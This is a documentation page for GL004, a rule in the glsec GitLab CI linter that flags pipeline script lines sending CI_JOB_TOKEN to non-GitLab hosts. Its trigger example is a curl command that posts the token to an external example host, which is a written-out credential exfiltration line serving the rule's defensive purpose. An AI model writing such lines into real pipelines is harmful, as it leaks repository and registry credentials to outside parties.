Rules / GL004
GL004 CI_JOB_TOKEN exfiltration
Severity: warn
OWASP: CICD-SEC-6 – Insufficient Credential Hygiene
Risk
CI_JOB_TOKEN grants scoped access to your GitLab instance — it can read private repositories, trigger pipelines, and access the Package Registry. Sending it to an external host leaks credentials that an attacker can use to move laterally within your GitLab instance.
What is flagged
A script line is flagged when both of the following are present on the same line:
$CI_JOB_TOKENis referenced- An explicit non-GitLab URL is also present (contains a hostname that is not
gitlab.comor a*.gitlab.comsubdomain)
Lines that only use CI_JOB_TOKEN with GitLab-native variables ($CI_API_V4_URL, $CI_SERVER_URL, $CI_REGISTRY) are not flagged.
Trigger example
upload:
script:
- 'curl --header "JOB-TOKEN: $CI_JOB_TOKEN" https://external-registry.example.com/upload'
Safe alternative
upload:
script:
# Use the GitLab Package Registry — stays on your instance
- 'curl --header "JOB-TOKEN: $CI_JOB_TOKEN" "${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/generic/myapp/1.0/artifact.zip"'
Notes
-
Quote a script line that contains
:(as inJOB-TOKEN: $CI_JOB_TOKEN), or YAML reads it as a mapping instead of a command and GitLab rejects the file -
GitLab.com and
*.gitlab.comsubdomains are always considered safe -
Self-hosted GitLab instances contacted via
$CI_SERVER_URLor$CI_API_V4_URLare safe -
This rule does not flag token usage in
variables:blocks — only inscript:,before_script:,after_script:, andrun:step scripts
See also
Enable the ShellCheck integration to surface additional shell issues in these script blocks.
Documentation for glsec 1.23.0. Source of this page · Rule implementation